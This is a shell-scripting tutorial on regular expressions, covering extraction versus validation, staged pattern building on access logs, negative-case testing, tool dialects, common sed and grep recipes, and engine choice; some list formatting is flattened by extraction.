Two different jobs use regexes, and they want different patterns. Extraction pulls something out of text you trust, so a loose pattern is fine and often better. Validation decides whether input is acceptable, so it must be strict and anchored, and regexes are good at shape but poor at meaning. An IPv4 pattern shows the gap.
\nfor ip in 10.0.0.1 999.1.1.1 1.2.3; do\n echo \"$ip\" | grep -qE '^([0-9]{1,3}\\.){3}[0-9]{1,3}$' && echo \"$ip loose-match\" || echo \"$ip no\"\ndone\n10.0.0.1 loose-match\n999.1.1.1 loose-match\n1.2.3 no\nThe pattern checks the shape of four dotted numbers and accepts 999.1.1.1, which is not an address. A regex that also limits each octet to 0 to 255 exists, and is long and hard to read; a better design checks the shape with the regex and the range in code, or uses a tool that knows addresses, such as ipcalc, or a library. The same holds for email addresses, dates and URLs: a regex can catch a missing at-sign, and only sending a message proves an address works. When the input is untrusted, validate with an allow-list pattern anchored at both ends, as in the shell script security guide.
Write a pattern in stages, testing each one against real lines, rather than all at once. Take a log line and extract the status code and path of failing requests.
\n198.51.100.4 - - [05/Nov/2026:10:01:03 +0000] \"GET /api/users HTTP/1.1\" 500 87\ngrep -E '\" [0-9]{3} ' access.log\ngrep -E '\"[A-Z]+ [^ ]+ HTTP/[0-9.]+\" [0-9]{3} ' access.log\ngrep -E '\"[A-Z]+ [^ ]+ HTTP/[0-9.]+\" 5[0-9]{2} ' access.log\nsed -nE 's/.*\"[A-Z]+ ([^ ]+) HTTP\\/[0-9.]+\" (5[0-9]{2}) .*/\\2 \\1/p' access.log\n500 /api/users\n502 /api/users\nThe first version finds any line with a closing quote, a space, a three-digit number and a space, which is loose but a good start. The second describes the request more completely, so it will not match text that happens to look like a status. The third restricts the status to the 5xx range. The sed command wraps the request in two groups and prints them in the order you want, using .* only on the outer edges, where its greediness is harmless because the inner parts are tightly defined. At each step run the pattern, look at what it matched and what it missed, and tighten or loosen. Print with grep -o or sed -n ... p to see exactly the matched text.
Keep a small file of lines that must match and lines that must not, and run every change to the pattern against both. The negative cases are the ones people skip and the ones that find the bug. A pair of loops makes it a ten-line test.
\nre='^[a-z][a-z0-9_-]{2,31}$'\nfor good in app web-1 db_main; do\n [[ $good =~ $re ]] || echo \"SHOULD MATCH: $good\"\ndone\nfor bad in A1 a '-x' 'a b' '' \"$(printf 'ab\\ncd')\"; do\n [[ $bad =~ $re ]] && echo \"SHOULD NOT MATCH: $bad\"\ndone\necho done\nThe last negative case contains a newline, which matters: in some tools a dollar sign matches before a trailing newline, so a pattern meant to be strict lets ab followed by a newline through. In Bash the whole string is matched, but in grep each line is tested separately, so a multi-line value passes if any single line matches; validate a single line, or check for newlines first. For patterns that will live in a script, put the cases in a Bats test, as described in the guide to testing shell scripts.
Several other programs in a normal system accept patterns and each has its own flavor. find -regex matches the full path, with Emacs syntax by default. expr STRING : REGEX uses BRE anchored at the start and prints the first group, an old POSIX way of extracting a part. less and vim search with their own variants, and vim uses a distinct syntax with its own escapes. rename, pgrep, pkill, journalctl --grep, git grep and tmux each have a regex option whose dialect is in their manual page. When the dialect is unclear, test it with a small known pattern such as a+b against aab.
expr \"abc123\" : '[a-z]*\\([0-9]*\\)'\npgrep -f 'nginx: (master|worker)'\njournalctl -u ssh --grep 'Failed|Invalid' --no-pager | tail -3\ngit grep -nE 'TODO|FIXME' -- '*.sh'\n123\nThat expr call anchors at the start implicitly, which differs from every other tool here; it is the commonest reason people give up on it. The cost of learning each flavor is small if you keep the three families in mind and check the manual for the exceptions.
| Goal | ERE | Note |
|---|---|---|
| Literal dot | \\. or [.] | Unescaped dot matches any character |
| Digits only | ^[0-9]+$ | Use [[:digit:]] for locale-safety |
| Optional prefix | (https?://)? | Question mark makes the s optional |
| Quoted string | \"[^\"]*\" | Negated class instead of lazy dot-star |
| Word boundary | \\b or -w | GNU extension, not POSIX |
| Repeat 2 to 4 | [0-9]{2,4} | Not in mawk 1.3.4 |
| Either of two | (GET|POST) | Longest match wins in POSIX |
| Blank line | ^[[:space:]]*$ | Spaces and tabs count as blank |
| Comment line | ^[[:space:]]*# | Anchor at the start |
| Same word twice | \\b([a-z]+) \\1\\b | Backreference |
Keep the table for the moments when you know what you want and not the spelling. The deeper reasoning is in the sections above, and the manual pages hold the exceptions: regex(7) for POSIX and the PCRE2 pattern reference for Perl syntax.
\n\n*, $ and ? first. Use single quotes.\\d in ERE. It is a plain d. Use [0-9] or [[:digit:]].1.5 matches 125. Escape or use -F.[[ =~ ]]. A quoted pattern is literal. Use a variable.x* with the g flag inserts at every position.-P exists. BusyBox and BSD grep lack it.Nearly all of these are one error: writing a pattern in one dialect and running it in another. Naming the dialect in your head, glob, BRE, ERE or PCRE, before you type the first character prevents most of them.
\n\nMost real use of regexes is a short list of recurring jobs. Each of these ran against sample input in the Debian 12 container, and each shows a pattern written in the dialect that suits it.
\nprintf ' padded line \\n' | sed -E 's/^[[:space:]]+|[[:space:]]+$//g' | od -c | head -1\nprintf 'a b \\t c\\n' | sed -E 's/[[:space:]]+/ /g'\nprintf 'v1.12.3 and v2.0.0-rc1\\n' | grep -oE 'v[0-9]+\\.[0-9]+\\.[0-9]+(-[a-z0-9.]+)?'\nprintf 'mail bob@example.org or amy@example.net now\\n' | grep -oE '[[:alnum:]._%+-]+@[[:alnum:].-]+\\.[[:alpha:]]{2,}'\nprintf 'see https://example.org/a?b=1 and http://x.test\\n' | grep -oE 'https?://[^[:space:]\"<>]+'\nprintf '\\033[31mred\\033[0m text\\n' | sed -E 's/\\x1b\\[[0-9;]*m//g'\nprintf 'line one \\\\\\nline two\\nline three\\n' | sed -e ':a' -e '/\\\\$/N; s/\\\\\\n//; ta'\nprintf 'IMG_001.JPG\\nIMG_002.JPG\\n' | sed -E 's/^IMG_([0-9]+)\\.JPG$/photo-\\1.jpg/'\nThe first removes leading and trailing whitespace with one alternation and the g flag. The second squeezes any run of blanks and tabs to one space. The third extracts version strings with an optional pre-release suffix. The fourth is a pragmatic email extractor that accepts the common shapes and ignores the complexity of the full address grammar. The fifth pulls URLs by taking everything up to whitespace or a quote. The sixth strips terminal color codes by matching the escape character, a bracket, digits and semicolons, and an m. The seventh joins lines that end with a backslash continuation, using sed's N command in a loop. The last renames by restructuring a file name with a capture group, a pattern that feeds a mv in a loop.
for f in IMG_*.JPG; do\n new=$(printf '%s\\n' \"$f\" | sed -E 's/^IMG_([0-9]+)\\.JPG$/photo-\\1.jpg/')\n printf 'mv -- %q %q\\n' \"$f\" \"$new\"\ndone\nPrinting the mv commands first is a dry run: read them, and pipe to sh only when they look right. Bash can do this particular rename with parameter expansion and no sed at all, ${f#IMG_} and ${f%.JPG}, which is faster and safer for simple prefix and suffix changes. Regexes pay off when the structure is more complicated than a prefix and a suffix.
When a literal string must be embedded in a pattern, escape every character that is special in the dialect. The safest way is to avoid the situation: use grep -F or awk's index for a literal search. For sed, where there is no fixed-string mode, escape the pattern side and the replacement side separately, because they have different special characters.
escape_re() { printf '%s' \"$1\" | sed -e 's/[][\\.*^$/]/\\\\&/g'; }\nescape_rep() { printf '%s' \"$1\" | sed -e 's/[\\/&]/\\\\&/g'; }\nold='a.b[1]'\nnew='x/y&z'\necho 'see a.b[1] here' | sed \"s/$(escape_re \"$old\")/$(escape_rep \"$new\")/\"\nsee x/y&z here\nOn the pattern side the helper escapes brackets, dot, star, caret, dollar and the delimiter; on the replacement side only the delimiter, the ampersand and the backslash matter. Both are for BRE. If the input may contain a newline, neither is enough, and the right answer is to stop using sed for that substitution. The general advice from the security guide applies: treat the value as data, and prefer tools that take it as data, over escaping it into code.
\n\nA pattern is write-once code unless it is explained. When you meet an unfamiliar one, read it left to right and name each piece: an anchor, a group, a class, a quantifier. Break it onto separate lines mentally at every group and alternation. The pattern ^([a-z][a-z0-9_-]{2,31})@([a-z0-9.-]+)$ reads as: start of line, a name that begins with a letter and continues with letters, digits, underscores or hyphens up to 32 characters in all, an at-sign, a host made of letters, digits, dots and hyphens, end of line. Written out in words it is clear; as a bare string it is a puzzle, and a script full of them is hard to change safely.
So document patterns where they are defined. Put each in a variable with a name that says what it matches, and give it a comment that includes one example that matches and one that does not. Build a long pattern from named parts joined together, which shortens each piece and lets you test them alone. Bash has no extended mode that ignores whitespace and comments, which Perl and PCRE do with the x flag, but string concatenation gets most of the benefit.
# matches 10.0.0.1 and 192.168.1.20; the range of each octet is checked separately\noctet='[0-9]{1,3}'\nipv4=\"^(${octet}\\\\.){3}${octet}$\"\n\n# matches app-42 and web-7; does not match App-42 or app_42\nservice='^[a-z]+-[0-9]+$'\n\n[[ $1 =~ $ipv4 ]] && echo \"address\"\n[[ $1 =~ $service ]] && echo \"service name\"\nThe comment with a matching and a non-matching example is a tiny test case, and copying those lines into a Bats test costs a minute. In code review, ask for them. A regular expression with no example attached is a claim nobody can check, and the sibling habit of testing against negative cases, described earlier, is what catches the pattern that matches too much.
\n\nThe patterns you type into an editor are another dialect to keep apart from the shell tools. Vim's default search treats most operators as literals until escaped, much like BRE, and its \"very magic\" mode, entered with \\\\v at the start of the pattern, makes it behave like ERE. Less uses the system regex library for its slash search. Many graphical editors use the Perl-style engine of their language. When you design a pattern interactively in an editor and then paste it into a script, retest it in the script's tool, since the dialect rules differ and the first symptom is a pattern that finds nothing or too much. Sed's own substitute command is borrowed by vim as the colon-s command, which is a reason the two feel alike and still differ in the escapes they need.
The skills here carry over to scripting languages with adjustments. Python's re, JavaScript, Java, PHP's preg_* and Ruby are all Perl-style backtracking engines, so they accept \\d, lazy quantifiers and lookaround, and they share the risk of catastrophic backtracking. Go's regexp and Rust's regex crate use linear-time automata like grep, and so they omit backreferences and lookaround by design. PowerShell uses .NET syntax. The ripgrep tool uses the Rust engine with optional PCRE2 through -P.
That split gives a rule for choosing: when you need guaranteed running time on untrusted input, pick an automaton engine and live without lookaround; when you need lookaround and backreferences, pick a backtracking engine and bound the input. Within shell, GNU grep gives you both, selected by -E and -P, and knowing which you are using is the safeguard.
Nested and structured formats. HTML, XML, JSON, YAML and source code have nesting that regular expressions cannot match in general. Use jq, xmllint, a YAML parser or a language-aware tool. A regex is acceptable for a quick look at a trusted, flat piece of such a file, and a hazard in a program that must be right.
Quoted CSV. Fields with embedded delimiters need a CSV parser, as covered in the grep, sed and awk guide.
\nMeaningful validation. Dates, addresses and numeric ranges need code. A regex can check shape and nothing more.
\nUntrusted input in a backtracking engine. Anything that takes patterns or text from outside and runs them in PCRE, Python or JavaScript needs a time limit or a linear-time engine such as RE2.
\nVery large searches. For gigabytes of text, a tool like ripgrep, or an index, will beat a regex scan with grep.
\nWindows and PowerShell. .NET regular expressions are another dialect with named groups and lookbehind; the shell-tool rules here do not carry over directly.
\n\nTo put these patterns to work, read the grep, sed and awk guide, where each tool is used on logs, configs and CSV. For the Bash side, including [[ =~ ]] inside scripts, see the Bash scripting tutorial. When a pattern runs on input you do not control, the shell script security guide covers validation. And for a wider tour of the commands that take these patterns, the Linux command line guide is the place to continue.
Primary sources used here: the POSIX regular expressions chapter, regex(7), the GNU grep manual, the GNU sed manual, the GNU Awk User's Guide, the Bash manual on conditional constructs, the GNU findutils manual, the PCRE2 pattern documentation, the mawk manual and the BusyBox documentation.
","date_published":"2026-11-06T06:12:19+00:00","tags":["Regular Expressions"]}]}